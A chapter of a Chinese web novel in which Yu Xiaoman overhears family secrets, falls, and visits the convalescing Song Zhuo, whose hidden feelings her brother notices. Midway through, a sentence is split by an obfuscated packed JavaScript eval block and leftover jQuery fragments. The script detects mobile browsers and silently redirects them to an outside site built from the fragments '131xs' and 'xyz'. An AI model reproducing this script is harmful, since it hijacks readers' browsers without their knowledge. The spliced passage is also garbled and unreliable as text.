53. 隐忍克制

作品:《长安发财指南(美食)

    “要他知道干什么!”


    余大河的声音里,是余小满从未听过的烦躁和阴郁。他像是一头护崽的猛兽,光是听着声音,便已是足够强势霸道。


    “两个孩子还这么小,难道要过我和小满以前过的那种日子吗?”


    余小满手上拼命的揉搓着小腿,脸上却浮现出一丝迷茫。


    他们从前过的是什么日子?


    竟能叫如此不着调的余大河都暴躁排斥至此。


    这是余小满第一次对她遗忘的往事起了兴趣。


    “可他毕竟还是小满的兄长啊。”


    “呵。”余大河冷哼一声,即使刻意压低了声音,依旧难掩其心中的嘲讽和悲愤:“那可是人吃人的地方,多的是父子兄弟相残的,根本不是什么稀罕事。是我的兄长又如何?指不定哪日就把我和小满给吃干抹净了。”


    “不是这样的!”


    唐瑛似是想要辩解,却被余大河强势打断了。


    “我不是信不过他,只是他是那人手把手教出来的,我信不过那人。”


    余大河顿了顿,放缓了几分语气:“行了,孩子的事情先瞒着,你回去照顾小满吧。”


    角落里的余小满听得一头雾水,似乎她和余大河还有一个兄长在这世间,许是表兄或者堂兄,但很明显余大河不愿意认他。


    那吃人的地方又是怎么回事,父子相残是否就是余大河十分抵触的原因?


    那人……又是谁?!


    被遗忘的过去里,似乎发生了很多的事情。


    但现在更要紧的,是赶紧走!


    误打误撞听了个墙角,实在也不是什么光鲜事。


    这些事情,既然余大河和唐瑛不想让她知道,那绝对是没法从他们二人这里入手的。


    想要寻回这段记忆,还得装作什么都不知道,等回长安后再偷偷摸摸的私下去打听。


    小腿依旧酸软酥麻,余小满咬着牙,强撑着站起身来。


    她迈出的每一步,都像是踏在了刀子上,疼得她龇牙咧嘴的倒吸凉气。


    可即使走得七扭八歪,几乎失了人形,可余小满一点也不敢停下来。


    唐瑛平日里走路的的步频就很快,若是不能在她回来之前回到院子里,定会被发现异常的。


    可越是急,便就越是容易出事情。


    眼看院子就在眼前,余小满抬起沉重万分的腿准备迈过门槛,可在这个节骨眼上失了平衡。左脚绊了一下右脚的,结结实实地摔了个四脚朝天。


    “啊!”


    她本能地呼痛出声。


    余大河本已经跨上马车准备离去了,隔着这么远本该是听不见院子门口的动静的。


    只是看见唐瑛身形一顿后突地狂奔起来,便也忙追了上去。


    余小满这一下摔得是眼前一黑,只觉得浑身上下哪哪都疼,加上小腿酥麻的感觉还没有散退,简直是钝刀子磨肉一般的酷刑。


    院子是被他们包下来了,并无旁人,因此余小满一点也不急着起身,准备趴在地上先缓一缓。


    石板被灼晒了一天,此时沐浴月光之下,表面温良,但稍过几息后,倒是能感觉到几分翻涌上来的暖意。


    还怪舒服的。


    只是还没等余小满完全从疼痛里缓过来,她就已经被两股巨大的力气从地上揪了起来。


    等回过神的时候,便已经被余大河稳稳地揽住。


    视线相交,那双相似的眼眸之中,怜惜之意都几乎要满溢出来了。


    弦月挂在余大河的鬓发一侧,不知为何,她总觉得这个画面分外的眼熟。


    月光柔柔在余大河身侧镀上一层光亮。


    视线恍惚,眼前余大河的面容在柔软的清影之下,竟慢慢变得稚嫩了起来,他的嘴一张一合,很急切地在说些什么。


    余小满睁大眼睛,企图听清楚余大河的话。


    下一秒,耳边便就炸响开恨铁不成钢地呵斥声。


    “你怎么回事!!!平地走个路都能摔跤?”


    余大河的手指直直戳到了她的脑门上,一下赛过一下的用力,直接强行将余小满唤回了神。


    余小满皱着脸躲着,哼哼唧唧地叫唤着“疼”。


    唐瑛则是动作利索地攥过余小满的脚踝,开始检查了起来,确定只有一些轻微的淤伤之后,二人才猛松一口气。


    余大河将余小满搀了起来,瞪了她一眼后才道:“我去医馆买些活血化瘀的药来。”


    医馆?!


    余小满立刻叫嚷了起来:“我也要去!”


    忙一天了,还没来得及去探望宋灼呢!


    也不知道他怎么样了,伤口恢复的还好吗?


    余大河实在是拗不过余小满,只得将她也捎上了,惹得马车上的两个孩子一阵欢呼,一路上可闹腾了。


    刚到医馆,余小满直接拽过一个药童,说明来意后,便跟着直奔后院的将养房去了。


    一点也没有自己才是病患的觉悟。


    余大河望着那甚至透着几分欢快的背影,抱着手臂冷哼一声:“不知道被什么东西勾了魂了。”


    一旁的唐瑛沉默地低下头,没敢接这话。


    ……


    烛光摇曳,空气里弥漫着浓重苦涩的药味。


    余小满轻手轻脚走进屋内时,宋灼正在喝药。


    他靠坐在泛黄的半旧的引枕上,一身素白中衣,肩上搭着浅清的袍子,只堪堪挂在他消瘦的肩骨上,似是马上就要滑落下来了。


    旧伤未愈的手重新夹上了木板,另一只完好的手中端了一口素白的药碗。


    他微微蹙眉,纤长睫毛低垂,专注地凝视着碗中滚烫的药汁。墨黑的长发并未束起,搭在肩头上,顺着他低头的弧度,散开几缕落在了苍白的颊边。


    那姿态,不像在饮苦药,倒像品一盅清茶。


    周身清冷孤寂,却也带着些难以言喻的矜贵。


    许是听到脚步声,宋灼缓缓抬起眼。


    病弱并未折损他的容貌,相反的,比起在山中海边颠簸流亡之时,气色倒是好了几分。


    就连一直寡淡无色的薄唇都有了血色,方才被药汁润泽过,此时还泛着微弱的水光。


    见到来人是余小满,宋灼那眼底的微黯倏然亮起一点星火,清冷疏离尽数散退。


    他的嘴角扬起,声音中带这些微不可微的颤抖。


    “小满?!”


    “我来看看你!”


    即使是已经形影不离相处了一段时间,也仅仅是短短一日不见,余小满依旧还是会为这张绝美的容颜感到惊叹。


    “还好吗?”


    在宋灼昏迷后,老扁的那一番话,叫余小满十分印象深刻。


    结合崖边攥住宋灼手腕时,他望过来时,眸中并未悲欢惊恐,尽是万籁俱寂死寂的那一眼。


    余小满不免有些担心,虽是救回来了,可若宋灼还是想不开可怎么办?


    她忙道:“曹萍已经抓起来了,整个葡萄园的帮凶一个都跑不了。”


    “我知道的,白日里,关大人还带着人找我问过话。”宋灼将手里的药碗放在一旁的桌案上,看向余小满的时候,眼眸之中的火光窜动沸腾着。


    他怎么不懂余小满的意思。


    整个医馆的大夫,在听闻他服用了牛黄安宫丸吊住性命后,无一不感慨他的福运。


    可只有宋灼知道,这不是他的福运,这是余小满的一片真心。


    是余小满拼尽全力想要他活着,所以他还能坐在这里,喝苦涩的药,等着余小满。


    这世间,似乎也不是全然没有牵挂了。


    宋灼下意识抚摸着自己的手腕,腕骨有些硌人,上面空无一物。


    可却就叫他觉得,好似有什么东西栓在了上面。


    那一日,余小满就这样奋不顾身地攥住了这个位置,生生遏住了他走向鬼门关的脚步。


    宋灼抬头,看向余小满。


    他轻声问:“吃过了饭吗?”


    这是余小满的人生守则之一,没有什么事情比吃饭更重要的。


    “还没有呢!”余小满这才反应过来,自己还没有吃饭。她指了指自己的膝盖:“我摔了一跤,来开些活血化瘀的药膏。”


    摔了一跤!!!


    宋灼目光一凛,但几乎是转瞬就又重新柔和了下来。


    小满的兄长和姐姐都在她身边,看她刚刚进来时脚步并无异常,想来并不严重,只是家里人放心不下才跑着一趟。


    她身边的人,真


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245960|175252||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的很爱她。


    而且,余小满身边的人都不一般。


    不管是关越山大人还是林淮将军,都岂是一般人能够请来的?


    甚至关越山大人提过,他并不认识余小满,只是受余小满的食客所托,插手此事。


    一个人的影响力和号召力,竟能以饭菜为媒介,起到如此作用。


    余小满的能力,绝非她自己所言的,仅是一个普通厨子。


    思绪至此,宋灼的眸色晦暗下去,他下意识便将微颤的那只伤手藏入袖中。


    就像宋灼能一眼就看穿余小满才是那个真正的东家一般,他也早早便从能从她无意间的引经据典足之中,看出她不凡的底蕴。


    最为难能可贵的是,即使是身处危境之中,余小满也从不慌乱,她身上有着能从容面对一切的坚韧力量。


    并且,这份从容宛若夜间烛火一般,能吸引来更多人与她相交。


    宋灼的喉结微滚,难以言喻的失落从心尖渗透、滴落进汩汩流淌的血液中。


    余小满是这样的好,而他腹中除了几卷书,便只剩下日复一日和农田和草木打交道时,磨砺出的粗粝和低贱。


    此刻,余小满就在眼前,可宋灼心中自觉卑微的心境达到极致。他听着自己胸腔里震荡的、属于农户的粗重呼吸,甚至觉得连这声响都在亵渎她的灵动。


    巨大的渴望在这一瞬间翻涌,顷刻间便调动起干涸枯竭已久的情绪。


    紧随着,恐惧便随之而来。


    现在已经不是在荒滩上了,余小满有家人、有友人,她的世界热闹又充沛。


    即使少一个他,似乎也是无关紧要的。


    而小满并不属于农田,也不属于这个县城,她是要回到长安的。


    这段往事即使再激荡,也会被时间冲刷逐渐变得平淡。


    而他也会变成余小满生命中的一个过客,这份光亮,也终究会离他远去。


    宋灼的呼吸又灼热急促起来,他深吸一口气,强行压下心尖的酸胀和苦涩。


    他坐起身,轻笑道:“关大人来时带了糕点,尝一些先垫垫肚子吧。”


    余小满自然不知道宋灼在想什么,她不会拒绝友人分享食物的邀请,当即便就应下来。


    “好啊!”


    ——


    余大河手里握着药,兜转了好大一圈才寻到将养房。


    尚未踏进屋内,便就已经听到了余小满欢快的声音。


    “嗯!这个枣泥糕真的很好吃,馅料不甜,但很香,也保留了纤维感,口感也很丰富。”


    余大河忍不住轻笑了一下。


    只有谈起吃的时候,余小满才是最有劲的。


    这让他想起,小满很小很小的时候,她很喜欢小厨房的牛乳糕。


    即使吃不下了,也要睡觉的时候,央求娘亲在她枕边放上一盘,这样再睁眼的时候,肚子不撑了,就能马上吃到嘴里了。


    只是稍大一些后,便再也不见小满对什么菜点有特别的偏爱了。


    在那种地方,一旦表现出对任何东西的偏好,是极其危险的。


    那个小满最喜欢的侍女,就是被牛乳糕毒死的。


    而那份糕点,若不是阴差阳错出了意外,本是要进小满肚子里的。


    那之后,小满甚至对吃饭都丧失了兴趣,不管吃什么,仅是求一个饱腹。


    好在她现在终于可以随心所欲的,研究自己喜欢的菜了。


    余大河嘴角上扬,可目光晃在过屋内时瞬间便定格在了那里,而后慢慢垮了下来。


    那病床上的青年看起来瘦弱单薄,但那张脸,即使是余大河,也不得不承认他生得好看。


    可问题是他的眼神!!!


    余大河的眉头死死皱在了一起。


    余小满这个小傻子!还一手攥着一块糕点呢,是恨不得一头就扎进这馅料里了。


    她是一点也没意识到那小子的眼里的隐忍克制吗?


    那小子的眼眸,满心满眼就将余小满全装在里面了。


    波光流转,隐忍和欢喜交织,甚至还掺杂这几分可能连他自己都未曾察觉的贪恋!!


    余大河心里顿时警铃大作,他咬牙切齿,再也忍耐不下去,气势汹汹地抬手去推门。